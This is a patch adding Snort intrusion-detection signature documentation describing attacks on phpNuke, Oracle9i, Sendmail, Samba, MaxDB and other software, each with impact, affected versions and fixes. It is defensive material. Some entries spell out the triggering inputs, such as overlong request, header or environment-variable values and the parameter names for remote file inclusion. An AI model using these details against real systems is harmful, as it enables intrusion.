+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_ug_auth.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_ug_auth.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2878.txt
+++ snort-2.8.5.2/doc/signatures/2878.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2878
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2287.txt
+++ snort-2.8.5.2/doc/signatures/2287.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2287
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1502.txt
+++ snort-2.8.5.2/doc/signatures/1502.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1502
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2882.txt
+++ snort-2.8.5.2/doc/signatures/2882.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2882
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_site_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2896.txt
+++ snort-2.8.5.2/doc/signatures/2896.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2896
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_priority_site
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/961.txt
+++ snort-2.8.5.2/doc/signatures/961.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+961
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	Systems using Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1&NoWebContent=1
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2183.txt
+++ snort-2.8.5.2/doc/signatures/2183.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+2183
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in certain versions of Sendmail.
+
+--
+Impact:
+Denial of Service (DoS), possible arbitrary code execution and the 
+remote attacker can gain access to a machine with the credentials of
+the user running the Sendmail daemon, usually 'root'.
+
+--
+Detailed Information:
+A vulnerability exists in the Sendmail MTA Daemon that could allow an
+attacker the opportunity to gain root access.
+
+A programming error exists such that a buffer overflow can be caused
+using the header fields in an SMTP session. The prescan() function does 
+not properly handle certain conversions from character and integer 
+types. This can cause Sendmail to interpret the value as a special 
+control value (NOCHAR).
+
+This rule detects specific exploit code attacks against a server using 
+Sendmail.
+
+--
+Affected Systems:
+	Sendmail Pro (all versions)
+	Sendmail Switch 2.1 prior to 2.1.6
+	Sendmail Switch 2.2 prior to 2.2.6
+	Sendmail Switch 3.0 prior to 3.0.4
+	Sendmail for NT 2.X prior to 2.6.3
+	Sendmail for NT 3.0 prior to 3.0.4
+	Systems running open-source sendmail versions prior to 8.12.9, including UNIX and Linux systems
+
+--
+Attack Scenarios:
+The attacker merely needs to execute one of the available exploit 
+scripts.
+
+--
+Ease of Attack:
+Simple. Exploits for this vulnerability exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1712.txt
+++ snort-2.8.5.2/doc/signatures/1712.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1712
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2943.txt
+++ snort-2.8.5.2/doc/signatures/2943.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2943
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000350.txt
+++ snort-2.8.5.2/doc/signatures/100000350.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000350
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "UBBThreads" application running on a webserver. Access to the file "ubbt.inc.php" using a remote file being passed as the "GLOBALS[thispath]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "GLOBALS[thispath]" parameter in the "ubbt.inc.php" script used by the "UBBThreads" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using UBBThreads
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1486.txt
+++ snort-2.8.5.2/doc/signatures/1486.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1486
+ 
+--
+Summary:
+This event is generated when an attempt is made to access the file ctss.idc.
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary
+commands on the vulnerable server.
+
+--
+Detailed Information:
+This mkilog.exe is a Common Gateway Interface (CGI) script that can be
+used to view and modify SQL database contents.  It posts data to another
+module, ctss,idc, that creates a table based on the parameters passed to
+it.  If an attacker passes parameters such as a valid username and
+password to create a table, it may be possible to alter the table to
+execute commands on the vulnerable server.
+
+--
+Affected Systems:
+	Windows systems.
+
+--
+Attack Scenarios:
+An attacker can attempt to exploit this vulnerability to execute remote
+commands on the vulnerable server. 
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete file /scripts/tools/ctss.idc
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+SecurityFocus Mail Archive:
+http://www.securityfocus.com/archive/101/200779
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2127.txt
+++ snort-2.8.5.2/doc/signatures/2127.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2127
+
+--
+Summary:
+This event is generated when an attempt is made to access ikonboard.cgi
+on a web server. This may indicate an attempt to exploit an arbitrary 
+code execution vulnerability that affects Ikonboard web-based bulletin 
+board software.
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit an 
+arbitrary code execution vulnerability in Ikonboard web-based bulletin 
+board software. An attacker can bypass user input validation by 
+inserting illegal characters into the "lang" value of a user cookie, 
+which then allows the attacker to pass arbitrary Perl code to the web 
+server.
+
+--
+Affected Systems:
+Any web server running Ikonboard bulletin board software.
+
+--
+Attack Scenarios:
+An attacker can provide a crafted cookie to the web server running 
+Ikonboard. The web server will then attempt to execute the arbitrary 
+Perl commands embedded in the cookie.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses ikonboard.cgi, this rule may 
+generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+An unsupported and unofficial patch is available at http://www.securityfocus.com/bid/7361/solution/.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7361
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11605
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000716.txt
+++ snort-2.8.5.2/doc/signatures/100000716.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000716
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "users.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "users.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/121-4.txt
+++ snort-2.8.5.2/doc/signatures/121-4.txt
@@ -0,0 +1,98 @@
+
+
+Rule:
+
+--
+Sid:
+121-4
+
+--
+Summary:
+This event is generated when the pre-processor flow-portscan detects
+network traffic that may constitute an attack. Specifically a sliding
+scale talker limit exceeded event was generated.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the flow-portscan pre-processor detects
+network traffic that may consititute an attack.
+
+The flow-portscan pre-processor uses a flow based technique to identify
+portscanning in one-to-many and many-to-one scenarios based on flow
+creation in the flow pre-processor.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.flow-portscan in the docs directory
+of the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+detailed instructions and examples on how to tune and use the
+pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Green <cmg@snort.org>
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000438.txt
+++ snort-2.8.5.2/doc/signatures/100000438.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000438
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Claroline" application running on a webserver. Access to the file "mambo.inc.php" using a remote file being passed as the "includepath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "includepath" parameter in the "mambo.inc.php" script used by the "Claroline" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Claroline
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2952.txt
+++ snort-2.8.5.2/doc/signatures/2952.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2952
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3147.txt
+++ snort-2.8.5.2/doc/signatures/3147.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+3147
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+buffer overflow vulnerability affecting "login" via Telnet.
+
+--
+Impact:
+Serious. Unauthorized administrative access to the target host.
+
+--
+Detailed Information:
+The login binary is used when establishing an interactive session on a
+system. It is used locally and by protocols that allow remote access. A
+buffer overflow condition exists in some versions of login that can be
+triggered by the manipulation of environment variables.
+
+This event is generated when an attempt is made to overflow login via
+telnet by manipulating the TTYPROMPT environment variable.
+
+--
+Affected Systems:
+	Systems using Sys V derived login
+
+--
+Attack Scenarios:
+An attacker can overflow a buffer by inserting 6 bytes of data followed
+by 65 characters and a newline into the TTYPROMPT variable.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000140.txt
+++ snort-2.8.5.2/doc/signatures/100000140.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000140
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow in 
+the MySQL MaxDB web server.
+
+-- 
+
+Impact: 
+A denial of service will occur, and arbitrary code may be executed with the 
+privileges of the user running the web server.
+
+--
+Detailed Information:
+If an HTTP GET request beginning with a "%" character and followed by at least 
+215 non-newline characters is sent to the MySQL MaxDB web server, a buffer 
+overflow will occur. This will result in a denial of service, and possibly 
+execution of arbitrary code with the privileges of the user running the web 
+server.
+
+--
+Affected Systems:
+MySQL MaxDB >= 7.5.00.24
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as a web browser can be used.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Upgrade to version 7.5.00.26 or higher.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2433.txt
+++ snort-2.8.5.2/doc/signatures/2433.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+2433
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Possible unauthorized administrative access to the server or application.
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+MDaemon is mail server software for Microsoft Windows systems. It uses a
+CGI web interface to send email. The email form used to submit the
+message does not properly check user supplied input. This may result in
+an attacker being able to supply a "From" field larger than 249 bytes
+which may in turn cause an error condition to occur in the executable
+file handling the form input. This error may present the attacker with
+the opportunity to gain administrative access to the server and also
+execute code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running on a web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	Alt-N MDaemon 6.5.2
+	Alt-N MDaemon 6.7.5, 6.7.9
+	Alt-N MDaemon 6.8.0 through 6.8.5
+
+--
+Attack Scenarios:
